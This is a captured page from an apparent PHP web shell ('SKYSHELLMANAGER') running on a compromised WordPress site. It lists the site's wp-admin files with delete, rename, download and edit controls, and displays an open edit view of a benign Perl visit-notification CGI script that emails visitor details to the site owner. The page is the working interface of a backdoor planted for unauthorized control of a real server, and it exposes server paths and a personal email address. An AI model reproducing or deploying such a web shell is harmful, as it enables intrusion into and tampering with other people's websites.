ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.29

Path:root/home/carl3/public_html/shop.oppedahl.com/wp-admin/

Name	Size	Perm	Actions
📁 css	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 includes	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 maint	-	0755	🗑️ 🏷️
📁 network	-	0755	🗑️ 🏷️
📁 user	-	0755	🗑️ 🏷️
📄 admin-ajax.php	5.03 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin-functions.php	0.47 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin-header.php	9.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin-post.php	1.97 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin.php	12.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 authorize-application.php	10.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 contribute.php	5.86 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 custom-background.php	0.48 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 custom-header.php	0.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 customize.php	11.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-comments.php	14.14 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-form-blocks.php	14.73 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-tag-form.php	10.42 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-tags.php	21.98 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit.php	19.48 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 export-personal-data.php	7.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	7.68 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 install.php	17.91 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 link-parse-opml.php	2.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 load-scripts.php	2.02 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 load-styles.php	2.92 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 media-new.php	3.17 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-admin.php	0.19 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-delete-site.php	4.5 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-edit.php	0.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-users.php	0.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options-media.php	6.38 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options-permalink.php	21.89 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options-reading.php	9.97 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 plugin-editor.php	13.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 plugin-install.php	6.96 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 press-this.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 profile.php	0.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 site-health-info.php	4.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 site-health.php	10.18 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 update-core.php	45.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 upgrade-functions.php	0.33 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 upgrade.php	6.24 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 upload.php	14.9 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 user-new.php	24.06 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 users.php	23.44 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 widgets.php	1.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 yho.txt	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: visit.cgi

#! /usr/local/bin/perl5

# To use this script, insert
#	
# in the Web page.

# Who notification e-mail is to be sent to
@mail_recipients = ('carl@patents.com');
# The host whose sendmail is to be used to forward or deliver the e-mail
$mail_host = 'mailhost.panix.com';
# The name to be used as sender of notification e-mail.  Should be a real
# e-mail address, since bounce messages from the recipients will be returned
# to this address.
$mail_sender = 'carl@patents.com';
# Subject line to use on notification
$mail_subject = "$ENV{'DOCUMENT_URI'} visit from $ENV{'REMOTE_HOST'}";

# Output an acceptable header
print "Content-type: text/html\r\n";
print "\r\n";

# Fork and exit the parent now; leave the child to do the processing.
close STDIN; close STDOUT; close STDERR;
exit 0 unless fork() == 0;

# Text to be mailed to our user, if any.
$mail_text = <<EOF;
DOCUMENT_URI=$ENV{'DOCUMENT_URI'}
HTTP_FROM=$ENV{'HTTP_FROM'}
HTTP_REFERER=$ENV{'HTTP_REFERER'}
HTTP_USER_AGENT=$ENV{'HTTP_USER_AGENT'}
REMOTE_HOST=$ENV{'REMOTE_HOST'}
REMOTE_ADDR=$ENV{'REMOTE_ADDR'}
EOF

# Substitute \nnn for all non-text chars.
$mail_text =~ s/([^\n -~])/"\\".sprintf("%03d",ord($1))/eg;

&send_mail($mail_host, "Subject: $mail_subject\n\n" . $mail_text,
	   $mail_sender, @mail_recipients);

exit 0;

# Routines to send e-mail when you don't have access to a mail program.
#	&send_mail($host, $message, $sender, @recipients)
# $host		Name of host whose sendmail gets to deal with the message.
# $message	String containing the headers (other than From: and To:)
#		and body of the message.  Separate the lines with newlines,
#		not CR-LF.
# $sender	E-mail address to claim the message came from.
# @recipients	List of e-mail addresses to send the message to.
# Errors while communicating with $host cause the function to send a
# message to STDERR and return immediately.
# Unusual internal errors and a missing newline-newline in $message
# (to separate the header and body) cause a 'die' (exit 1).
# Returns 1 on success; 0 on error.
sub send_mail {
    local($host, $message, $sender, @recipients) = @_;
    local($sockaddr, $name, $aliases, $addrtype, $length, @addrs,
	  $host_address, $port, $proto, $this, $that, *S, $ip_addr,
	  $recipient);

# Check to make sure that the message contains an end-of-header
    die "No end of header in message" if $message !~ /\n\n/;

#*** anansi's Perl 5 doesn't have Socket.pm, so hard-code these three
    # identifiers.
    # use Socket;
    sub AF_INET { 2; }
    sub PF_INET { 2; }
    sub SOCK_STREAM { 1; }
    #***

$sockaddr = 'S n a4 x8';

if ($host =~ /^\d+\.\d+\.\d+\.\d+$/) {
	$host_address = pack(C4, split(/\./, $host));
    } else {
	($name, $aliases, $addrtype, $length, @addrs) = gethostbyname($host);
	die "Unrecognizable host name: $host\n" unless $name;
	$host_address = $addrs[0];
    }
    ($name, $aliases, $port, $proto) = getservbyname('smtp', 'tcp');
    die "Can't look up SMTP port\n" if $port == 0;
    print "\$host = '$host'\n" if $debug;
    print "\$host_address = ", join('.', unpack('C4', $host_address)), "\n"
	if $debug;
    print "\$port = '$port'\n" if $debug;

($name, $aliases, $proto) = getprotobyname('tcp');
    $this = pack($sockaddr, AF_INET, 0, "\0\0\0\0");
    $that = pack($sockaddr, AF_INET, $port, $host_address);

# Establish connection

socket(S, PF_INET, SOCK_STREAM, $proto) || die "socket failed: $!\n";
    bind(S, $this) || die "bind failed: $!\n";
    use Socket; $that = sockaddr_in($port, inet_aton("$host")) ; connect(S, $that) || 
	do { print STDERR "Connection to server '$host' failed: $!\n";
	     return 0; };
    select((select(S), $| = 1)[0]);
    # Get the IP address of our end
    $ip_addr = join('.', unpack('C4', (unpack($sockaddr, getsockname(S)))[2]));

# Send the mail

# Await the initial 220 message
    &await('220') || do { close S; return 0; };
    # Send the HELO message, using our IP address (extracted from S),
    # rather than our domain name, which might be very hard to determine.
    print "HELO $ip_addr\n" if $debug;
    print S "HELO $ip_addr\r\n";
    # Await the 250 OK message
    &await('250') || do { close S; return 0; };
    # Send the MAIL FROM: message
    print "MAIL FROM: $sender\r\n" if $debug;
    print S "MAIL FROM: $sender\r\n";
    # Await the 250 OK message
    &await('250') || do { close S; return 0; };
    foreach $recipient (@recipients) {
	# Send the RCPT TO: messages
	print "RCPT TO: $recipient\r\n" if $debug;
	print S "RCPT TO: $recipient\r\n";
	# Await the 250 OK message
	&await('250') || do { close S; return 0; };
    }
    # Send the DATA message
    print "DATA\r\n" if $debug;
    print S "DATA\r\n";
    # Await the 354 "send data" message
    &await('354') || do { close S; return 0; };
    # Send the To: and From: headers, which we can generate:
    print "From: $sender\r\n" if $debug;
    print S "From: $sender\r\n";
    foreach $recipient (@recipients) {
	print "To: $recipient\r\n" if $debug;
	print S "To: $recipient\r\n";
    }
    # Send the body of the message
    foreach (split(/\n/, $message)) {
	$_ = '.' . $_ if substr($_, 0, 1) eq '.';
	print $_, "\r\n" if $debug;
	print S $_, "\r\n";
    }
    # Send the terminating '.'
    print ".\r\n" if $debug;
    print S ".\r\n";
    # Await the 250 OK message
    &await('250') || do { close S; return 0; };
    # Send the QUIT message
    print "QUIT\r\n" if $debug;
    print S "QUIT\r\n";
    # Await the 221 disconnecting message
    &await('221') || do { close S; return 0; };

close S;
    return 1;
}

sub await {
    local($code) = @_;
    local($line);

$line = <S>;
    print $line if $debug;
    if (substr($line, 0, 3) ne $code) {
	print STDERR "Expecting code $code but saw response: $line";
	return 0;
    }
    return 1;
}

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.2.29

Edit: visit.cgi

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.29